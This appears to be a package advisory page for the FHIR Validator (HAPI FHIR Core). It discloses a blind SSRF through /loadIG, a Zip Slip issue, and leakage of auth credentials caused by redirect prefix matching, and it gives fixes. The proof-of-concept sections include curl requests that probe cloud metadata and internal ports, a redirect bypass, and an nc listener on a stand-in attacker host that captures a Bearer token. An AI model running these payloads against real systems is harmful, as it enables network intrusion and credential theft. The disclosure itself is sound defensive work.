Package Instance

FHIR Validator: Unauthenticated Blind SSRF via /loadIG Endpoint Enables Internal Network Probing
## Summary

The `/loadIG` HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With `explore=true` (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability.

## Details

**Root cause chain:**

1. `LoadIGHTTPHandler.handle()` reads the `ig` field from user-supplied JSON and passes it directly to `IgLoader.loadIg()` with no validation:

```java
// LoadIGHTTPHandler.java:35,43
String ig = wrapper.asString("ig");
engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), ig, false);
```

2. `loadIg()` calls `loadIgSource(srcPackage, recursive, true)` with `explore=true` (IgLoader.java:153).

3. `loadIgSource()` checks `Common.isNetworkPath(src)` which only verifies the URL starts with `http:` or `https:` — no host/IP validation (Common.java:14-16).

4. The URL reaches `ManagedWebAccess.get()` which calls `inAllowedPaths()`. This check is a no-op by default because `allowedDomains` is initialized as an empty list, and the code explicitly returns `true` when empty:

```java
// ManagedWebAccess.java:104-106
static boolean inAllowedPaths(String pathname) {
    if (allowedDomains.isEmpty()) {
        return true;  // DEFAULT: all domains allowed
    }
    // ...
}
```

The source code has a `//TODO get this from fhir settings` comment (line 82) confirming this is an incomplete security control.

5. `SimpleHTTPClient.get()` makes the HTTP request and follows 301/302/307/308 redirects up to 5 times. Redirect targets are NOT re-validated against `inAllowedPaths()`:

```java
// SimpleHTTPClient.java:88-99
case HttpURLConnection.HTTP_MOVED_PERM,
     HttpURLConnection.HTTP_MOVED_TEMP,
     307, 308:
    String location = connection.getHeaderField("Location");
    url = new URL(originalUrl, location);  // No domain re-validation
    continue;
```

6. The server binds to all interfaces with no authentication (FhirValidatorHttpService.java:31):

```java
server = HttpServer.create(new InetSocketAddress(port), 0);
```

7. Errors propagate back to the attacker with exception details:

```java
// LoadIGHTTPHandler.java:49
sendOperationOutcome(exchange, 500,
    OperationOutcomeUtilities.createError("Failed to load IG: " + e.getMessage()), ...);
```

**Redirect bypass:** Even if `allowedDomains` were configured, the domain check in `ManagedWebAccessor.setupSimpleHTTPClient()` (line 31) only validates the initial URL. An attacker can host a redirect on an allowed domain that points to an internal target.

## PoC

1. Start the FHIR Validator in HTTP server mode:
```bash
java -jar validator_cli.jar -server -port 8080
```

2. Probe a cloud metadata endpoint:
```bash
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://169.254.169.254/latest/meta-data/"}'
```

Expected: The validator makes a GET request to the AWS metadata service from its own network position. The error response reveals whether the endpoint is reachable (e.g., connection refused vs. parse error on HTML content).

3. Port scan an internal host:
```bash
# Open port — returns quickly with a parse error (content received but not valid FHIR)
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://10.0.0.1:8080/"}'

# Closed port — returns with "Connection refused"
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://10.0.0.1:9999/"}'
```

4. Redirect bypass (if allowedDomains were configured):
```bash
# Attacker hosts redirect: http://allowed-domain.com/redir → http://127.0.0.1:8080/admin
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://allowed-domain.com/redir"}'
```

The validator follows the redirect to the internal target without re-checking the domain allowlist.

## Impact

An unauthenticated attacker with network access to the FHIR Validator HTTP service can:

- **Probe internal network services** — differentiate open/closed ports and reachable/unreachable hosts via error message analysis (connection refused vs. timeout vs. content parse errors)
- **Access cloud metadata endpoints** — reach AWS/GCP/Azure instance metadata services (169.254.169.254) from the validator's network position
- **Map internal network topology** — systematically enumerate internal hosts and services
- **Bypass domain restrictions via redirects** — even if allowedDomains is configured, redirect following does not re-validate targets
- **Amplify reconnaissance** — each `/loadIG` call with `explore=true` generates multiple outbound requests (package.tgz, JSON, XML variants)

This is a blind SSRF — the fetched content is not directly returned. Impact is limited to network probing and error-based information leakage rather than full content exfiltration.

## Recommended Fix

1. **Add URL validation** in `LoadIGHTTPHandler` before passing to `loadIg()` — reject private/internal IP ranges and non-standard ports:

```java
// LoadIGHTTPHandler.java — add before line 43
if (Common.isNetworkPath(ig)) {
    URL url = new URL(ig);
    InetAddress addr = InetAddress.getByName(url.getHost());
    if (addr.isLoopbackAddress() || addr.isLinkLocalAddress() ||
        addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
        sendOperationOutcome(exchange, 400,
            OperationOutcomeUtilities.createError("URL targets a private/internal address"),
            getAcceptHeader(exchange));
        return;
    }
}
```

2. **Re-validate redirect targets** in `SimpleHTTPClient.get()` — check `inAllowedPaths()` for each redirect URL:

```java
// SimpleHTTPClient.java — inside the redirect case (after line 98)
url = new URL(originalUrl, location);
if (!ManagedWebAccess.inAllowedPaths(url.toString())) {
    throw new IOException("Redirect target '" + url + "' is not in allowed domains");
}
```

3. **Configure `allowedDomains` by default** to restrict outbound requests to known FHIR registries (e.g., `packages.fhir.org`, `hl7.org`), or require explicit opt-in for open access.

4. **Add authentication** to the HTTP service, at minimum for state-changing endpoints like `/loadIG`.

MITM based Zip Slip in `ca.uhn.hapi.fhir:org.hl7.fhir.core`
MITM can enable Zip-Slip.

HAPI FHIR Core has Authentication Credential Leakage via Improper URL Prefix Matching on HTTP Redirect
## Summary

`ManagedWebAccessUtils.getServer()` uses `String.startsWith()` to match request URLs against configured server URLs for authentication credential dispatch. Because configured server URLs (e.g., `http://tx.fhir.org`) lack a trailing slash or host boundary check, an attacker-controlled domain like `http://tx.fhir.org.attacker.com` matches the prefix and receives Bearer tokens, Basic auth credentials, or API keys when the HTTP client follows a redirect to that domain.

## Details

The root cause is in `ManagedWebAccessUtils.getServer()` at `org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/http/ManagedWebAccessUtils.java:26`:

```java
public static ServerDetailsPOJO getServer(String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {
    if (serverAuthDetails != null) {
      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {
          if (url.startsWith(serverDetails.getUrl())) {  // <-- no host boundary check
            return serverDetails;
          }
      }
    }
    return null;
}
```

The configured production terminology server URL is defined without a trailing slash in `FhirSettingsPOJO.java:19`:

```java
protected static final String TX_SERVER_PROD = "http://tx.fhir.org";
```

This means:
- `"http://tx.fhir.org.attacker.com/capture".startsWith("http://tx.fhir.org")` → **true**
- `"http://tx.fhir.org:8080/evil".startsWith("http://tx.fhir.org")` → **true**

**Exploit chain via SimpleHTTPClient (redirect path):**

1. `SimpleHTTPClient.get()` (`SimpleHTTPClient.java:68-105`) makes a request to `http://tx.fhir.org/ValueSet/$expand`
2. On each redirect, the loop calls `getHttpGetConnection(url, accept)` (line 84) → `setHeaders(connection)` (line 117)
3. `setHeaders()` (line 122-133) calls `authProvider.canProvideHeaders(url)` and `authProvider.getHeaders(url)` on the **redirect target URL**
4. `ServerDetailsPOJOHTTPAuthProvider.getServerDetails()` (line 83-84) delegates to `ManagedWebAccessUtils.getServer(url.toString(), servers)`
5. The `startsWith()` check matches `http://tx.fhir.org.attacker.com` against `http://tx.fhir.org`
6. Credentials are dispatched to the attacker's server via `ServerDetailsPOJOHTTPAuthProvider.getHeaders()` (lines 38-58):
   - Bearer tokens: `Authorization: Bearer {token}`
   - Basic auth: `Authorization: Basic {base64(user:pass)}`
   - API keys: `Api-Key: {apikey}`
   - Custom headers from server config

Note: An earlier fix (commit `6b615880` "Strip headers on redirect") added an `isNotSameHost()` check, but this was **removed** in commit `3871cc69` ("Rework authorization providers in ManagedWebAccess"). The current code on master has no host validation during redirect following.

**Exploit chain via ManagedFhirWebAccessor (OkHttp path):**

`ManagedFhirWebAccessor.httpCall()` (line 81-112) sets auth headers via `requestWithAuthorizationHeaders()` before passing the request to OkHttpClient. OkHttpClient follows redirects by default (up to 20) and carries the pre-set auth headers to all redirect targets. The same `startsWith()` check in `canProvideHeaders()` applies.

The same vulnerable pattern also exists in `ManagedWebAccess.isLocal()` (line 214), where `url.startsWith(server.getUrl())` is used to determine whether HTTP (non-TLS) access is allowed, potentially enabling TLS downgrade for attacker-controlled domains that match the prefix.

## PoC

**Step 1: Verify the prefix match behavior**

```java
// This demonstrates the core vulnerability
String configuredUrl = "http://tx.fhir.org";  // FhirSettingsPOJO.TX_SERVER_PROD
String attackerUrl = "http://tx.fhir.org.attacker.com/capture";

System.out.println(attackerUrl.startsWith(configuredUrl));
// Output: true
```

**Step 2: Demonstrate credential dispatch to wrong host**

Given a `fhir-settings.json` configuration at `~/.fhir/fhir-settings.json`:
```json
{
  "servers": [
    {
      "url": "http://tx.fhir.org",
      "authenticationType": "token",
      "token": "secret-bearer-token-12345"
    }
  ]
}
```

When `SimpleHTTPClient.get("http://tx.fhir.org/ValueSet/$expand")` follows a 302 redirect to `http://tx.fhir.org.attacker.com/capture`:

1. `setHeaders()` is called with the redirect target URL
2. `authProvider.canProvideHeaders(new URL("http://tx.fhir.org.attacker.com/capture"))` returns `true`
3. `authProvider.getHeaders(...)` returns `{"Authorization": "Bearer secret-bearer-token-12345"}`
4. The `Authorization` header with the secret token is sent to `tx.fhir.org.attacker.com`

**Step 3: Attacker captures the credential**

```bash
# On attacker-controlled server (tx.fhir.org.attacker.com)
nc -l -p 80 | head -20
# Output includes:
# GET /capture HTTP/1.1
# Host: tx.fhir.org.attacker.com
# Authorization: Bearer secret-bearer-token-12345
```

## Impact

- **Credential theft**: Bearer tokens, Basic authentication passwords, API keys, and custom authentication headers configured for FHIR terminology servers can be exfiltrated by an attacker who can inject a redirect (via MITM, compromised CDN, or DNS poisoning).
- **Impersonation**: Stolen credentials allow an attacker to make authenticated requests to the legitimate FHIR server, potentially accessing or modifying clinical terminology data.
- **Broad exposure**: The FHIR Validator is widely used in healthcare IT for validating FHIR resources. Any deployment that configures server authentication in `fhir-settings.json` and makes outbound HTTP requests to terminology servers is affected.
- **TLS downgrade**: The same `startsWith()` pattern in `ManagedWebAccess.isLocal()` could allow an attacker-controlled domain to be treated as "local," bypassing the HTTPS enforcement.

## Recommended Fix

Replace the `startsWith()` check in `ManagedWebAccessUtils.getServer()` with proper URL host boundary validation:

```java
public static ServerDetailsPOJO getServer(String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {
    if (serverAuthDetails != null) {
      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {
          if (urlMatchesServer(url, serverDetails.getUrl())) {
            return serverDetails;
          }
      }
    }
    return null;
}

/**
 * Check if a URL matches a configured server URL with proper host boundary validation.
 * After the configured prefix, the next character must be '/', '?', '#', ':', or end-of-string.
 */
private static boolean urlMatchesServer(String url, String serverUrl) {
    if (url == null || serverUrl == null) return false;
    if (!url.startsWith(serverUrl)) return false;
    if (url.length() == serverUrl.length()) return true;
    char nextChar = url.charAt(serverUrl.length());
    return nextChar == '/' || nextChar == '?' || nextChar == '#' || nextChar == ':';
}
```

Apply the same fix to `ManagedWebAccess.isLocal()` at line 214 and the three-argument `getServer()` overload at line 14.

Additionally, consider re-introducing the host-equality check for redirects in `SimpleHTTPClient` (as was previously implemented in commit `6b615880` but removed in `3871cc69`) to provide defense-in-depth against credential leakage on cross-origin redirects.